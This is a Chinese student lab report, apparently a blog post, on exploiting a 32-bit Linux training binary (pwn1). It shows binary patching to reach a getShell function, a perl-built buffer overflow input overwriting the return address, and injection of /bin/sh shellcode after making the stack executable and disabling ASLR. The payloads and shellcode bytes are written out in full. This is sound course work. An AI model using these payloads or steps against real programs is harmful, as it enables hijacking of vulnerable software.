wlgf 20221307张城玮 第一次实验 PC平台逆向破解 20221307

EXP 1 PC平台逆向破解 20221307

实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

实验内容

1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
2. 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
3. 注入一个自己制作的shellcode并运行这段shellcode。

实验内容的实际意义

1.运行原本不可访问的代码片段
2.强行修改程序执行流
3.以及注入运行任意代码。

基础知识预备

  • NOP, JNE, JE, JMP, CMP汇编指令的机器码
  • 熟悉Linux基本操作——反汇编,下载软件,运行脚本等
  • 理解Bof的原理。
  • 能看得懂汇编、机器指令、EIP、指令地址。
  • 会使用gdb,vi。
  • 指令参数现记现查

NOP, JNE, JE, JMP, CMP汇编指令的机器码

在 x86 架构下,这些指令的机器码如下:

  • NOP:机器码是0x90。
  • JNE(条件跳转指令,不等于时跳转):机器码通常是0x75 XX,其中XX是相对偏移量的补码字节。
  • JE(条件跳转指令,等于时跳转):机器码通常是0x74 XX,其中XX是相对偏移量的补码字节。
  • JMP(无条件跳转指令):短跳转机器码通常是0xEB XX,其中XX是相对偏移量的补码字节;近跳转机器码通常是0xE9 XX XX XX XX,其中后面四个字节是相对偏移量的补码。
  • CMP(比较指令):其机器码格式很多,比如CMP EAX, EBX的机器码是0x39\xD8。

反汇编

  • 在kali Linux中反汇编可执行文件时,可以用objdump工具,例如反汇编名为example的可执行文件
     objdump -d example
  • 也可以使用 radare2,安装后使用以下命令反汇编
     r2 example
  • 反汇编共享库,使用 objdump 可以反汇编共享库,例如
     objdump -d /lib/x86_64-linux-gnu/libc.so.6

在本实验中,我们采用objdump进行反汇编pwn1文件

下载软件

  • 使用apt-get下载软件包,以wireshark为例
     sudo apt install wireshark
  • 从网页下载文件,使用wget命令
     wget [URL]

输入网页的URL,例如在本实验中,安装execstack时,我就用到了这个命令

理解Bof的原理

程序在运行时会在内存中开辟一些缓冲区来存储数据。当向一个缓冲区写入的数据超过了它的容量时,就会发生缓冲区溢出。如果精心构造输入数据,使得超出缓冲区范围的数据覆盖了相邻的内存区域,就有可能修改程序的控制流或者数据,从而达到执行恶意代码或者获取敏感信息等目的。
这只是最基本的定义,在本次实验中,我们广泛的应用了gdb来分析程序在发生缓冲区溢出时的内存状态和执行流程。可以在程序运行时设置断点,观察寄存器和内存的变化,帮助理解漏洞的触发过程。
当然,在后续的实验中国,也可能会用到metasploit等工具来进一步学习。
对于我们本次实验,可以理解在kali,Linux利用存在缓冲区溢出程序来获取shell权限等的步骤

  • 使用反汇编工具分析目标程序,确定漏洞的位置和可能的攻击点。
  • 编写一个利用脚本或者程序,构造特定的输入数据,使得程序在执行时发生缓冲区溢出,并将控制流转移到攻击者指定的位置(通常是一段恶意的 shellcode)。
  • 使用工具如 python 生成攻击输入数据,并将其输入到目标程序中。
  • 如果攻击成功,程序将执行攻击者的恶意代码,可能会获取系统的控制权或者执行其他恶意操作。

能看得懂汇编、机器指令、EIP、指令地址

  • 汇编语言是一种低级编程语言,它使用助记符来表示机器指令,更接近人类可读的形式。例如,在 x86 架构中,“mov eax, ebx” 是一条汇编指令,用于将寄存器 ebx 的值复制到寄存器 eax。
  • 机器指令是处理器能够直接执行的二进制代码。每一条机器指令都对应着特定的操作,如加法、减法、数据传输等。
  • 在 x86 架构中,EIP(Instruction Pointer,指令指针)是一个特殊的寄存器,它指向当前正在执行的指令的地址。当处理器执行一条指令后,EIP 会自动更新为指向下一条指令的地址,从而使程序能够顺序执行。EIP 决定了程序的执行流程。通过修改 EIP 的值,可以改变程序的执行路径,例如跳转到特定的函数或代码片段。
  • 指令地址是指存储机器指令的内存地址。每条机器指令都存储在内存中的特定地址处。当程序执行时,处理器根据 EIP 的值从相应的地址读取机器指令并执行。
  • EIP 始终指向当前正在执行的指令的地址。当程序执行过程中,EIP 会根据指令的长度和执行顺序自动更新,指向不同的指令地址。通过控制 EIP 的值,可以使程序跳转到特定的指令地址,从而执行不同的代码路径。

实验过程

1.直接修改程序机器指令,改变程序执行流程

在网站中下载所需要用到的pwn1.zip文件,利用共享文件夹传输到kali中,并且尝试运行

在这里插入图片描述
在这里插入图片描述

这里是做完之后截图的,因为在这个步骤的时候忘记截图了

下载完成后,输入命令

cd /你的共享文件夹
unzip pwn1.zip

之后尝试运行一下,在我运行的过程中会提示这样的信息

zsh: 没有那个文件或目录: ./pwn20221307

如果出现这样的信息,那么大概率是因为缺少依赖库的原因,使用以下命令

file pwn20221307

来查看一下文件的基本信息,我的提示是这样的

pwn20221307: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=fb55ff390641d9430666f4c373725241894ef5a5, not stripped

可以看到,这是一个32位的可执行文件,因此在我们安装的64位kali系统中无法运行,如何解决呢,输入以下命令

sudo apt-get install lib32z1 libc6-i386

之后输入命令

./pwn20221307

可以得到这样的截图
在这里插入图片描述
这里我们猜测,这个程序的作用应该是简单的接受并打印一个相同的字符串

反汇编pwn文件,并且查找关键信息,例如所执行的打印字符串函数,再看看是否包含其他可以利用的漏洞函数

输入命令进行反汇编

objdump -d |pwn20221307 more

这里根据上面我们的基础知识可以知道,这是详细的显示这个程序的信息,在众多信息中查找
在这里插入图片描述

在这里插入图片描述
这里我们找到了getshell,main,foo三个关键的函数,根据前面尝试运行程序得到的结果,不难猜想是在main函数中调用了foo函数,这里可以很清晰的看到
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

这行代码就是调用foo函数的信息,这里给出了foo函数的地址ffffffd7,我们这里的目标是想让此时的程序在main函数中调用foo时,转而运行getshell函数
要如何达到这个目的呢,我们需要理解汇编指令,call 8049491是如何得出的呢?80484ba +d7ffffff= 80484ba-0x29=8048491(“d7ffffff”是补码,表示-41,41=0x29)。那么按照这个逻辑,只要修改“d7ffffff”为,"getShell-80484ba"对应的补码就行。

在这里插入图片描述

修改可执行文件,执行getshell函数

利用vim文本编辑器,即基础知识中提到的内容

输入命令

vi pwn20221307

打开后是乱码
在这里插入图片描述

这里需要用到一个工具,xxd,但是我发现我并没有安装,这里输入

sudo apt install xxd

在这里插入图片描述
可能是vim版本导致的
安装好之后,在已经进入的vim界面中,按esc键输入:%!xxd
在这里插入图片描述
查找我们上面得到的地址e8d7ffff
在这里插入图片描述
将其修改为计算后的地址后输入命令:%!xxd -r,重新变为乱码,之后保存退出
在这里插入图片描述
之后我们重新反汇编一下这个文件,看看我们有没有达到想要的效果
在这里插入图片描述
再次看到,main函数中的call 804747d已经被修改了,执行getshell函数
这样就可以再次运行一下看看效果了
输入命令

./pwn20221307

在这里插入图片描述
之后出现美元符号,输入ls,可以看到当前我们的目录,证明成功执行getshell函数

2.通过构造输入参数,造成BOF攻击,改变程序执行流

重新解压,再次生成一个相同的文件

在这里插入图片描述
根据前面我们对gdb的表述,这里可以尝试gdb一下这个文件,看看输入有没有什么漏洞
输入命令

gdb pwn20221307-2

在这里插入图片描述
输入指令info r
查看eip的值
在这里插入图片描述
在这里插入图片描述
这里观察我标黑的地方,发现输入的1234(十六进制0x34333231)为被覆盖到堆栈上的返回地址
那只要把这四个字符替换为 getShell 的内存地址,输给pwn20222211-2,就会运行getShell。
通过之前的反汇编可知getshall的内存地址为0x0804847d

因此我们输入命令

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

生成一个16进制文件的内容
之后使用xxd工具查看

xxd input

在这里插入图片描述
发现没有问题
之后输入命令

(cat input;cat) | ./pwn20221307-1

在这里插入图片描述
输入ls看看是否执行了getshell对应代码
发现成功

在这里插入图片描述

3.注入Shellcode并执行

安装execstack

输入命令

   wget http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb
   sudo dpkg -i execstack_0.0.20131005-1+b10_amd64.deb

等待成功安装
在这里插入图片描述
之后重复前面的步骤
在这里插入图片描述
继续重新生成一个这个文件
之后输入下面的命令

execstack -s pwn20221307-3 //设置堆栈可执行
execstack -q pwn20221307-3 //查询文件的堆栈是否可执行
sudo su
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space

在这里插入图片描述
在这里插入图片描述
这样成功了就是

构造使用的payload

Linux下有两种基本构造攻击buf的方法:
retaddr+nop+shellcode
nop+shellcode+retaddr

使用以下命令进行构造shellcode的输入(x1x2x3x4是用来占位的,后续将替换为注入shellcode的地址,也就是foo函数中return address的位置,这个地址需要我们接下来去gdb分析寻找),并将其放入名为input_shellcode的文件中

Perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode

在这里插入图片描述

之后输入命令

(cat input_shellcode; cat) | ./pwn20221307-3

打开一个新终端,注意之前的终端不要关闭,不要按enter
输入命令

ps -ef | grep pwn20221307-3

在这里插入图片描述
注意上面的一个是进程号
此后,再在这个新终端中使用gdb进行调试

输入

gdb pwn20221307-3
attach+进程号
disassemble foo//反编译

在这里插入图片描述
注意ret的地址
继续gdb,输入命令

break *x080484ae
c
info r esp

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

使用x/16x 0xffffcfdc命令查看该地址处的存放内容,可以看到,此处出现了我们之前注入的输入0x04030201,这说明找的就是这个地址。
因此,栈顶指针地址再加4字节,就是shellcode应该处于的地址
在原终端中输入

perl -e 'print "A" x 32;print "\x80\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
(cat input_shellcode; cat) | ./pwn20221307-3

在这里插入图片描述
可以看到最终成功

遇到问题及解决方案’

  • 无法安装execstack 利用wget从网络上获取
  • vim使用过程中没有xxd,利用apt命令下载安装
  • 汇编语言理解不够深入
  • 对于这类问题的总体分析能力有待加强

实践总结与体会

本次实验对于缓冲区溢出漏洞的利用分析有了更深入的理解,但是在汇编语言和机器语言方面的不足是一个障碍,还要加强学习,对于Linux系统的文件结构,命令基础有了更好的认识,收获很大。
此外,对于gdb的使用还不够熟练,需要进一步加强

  • 13
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值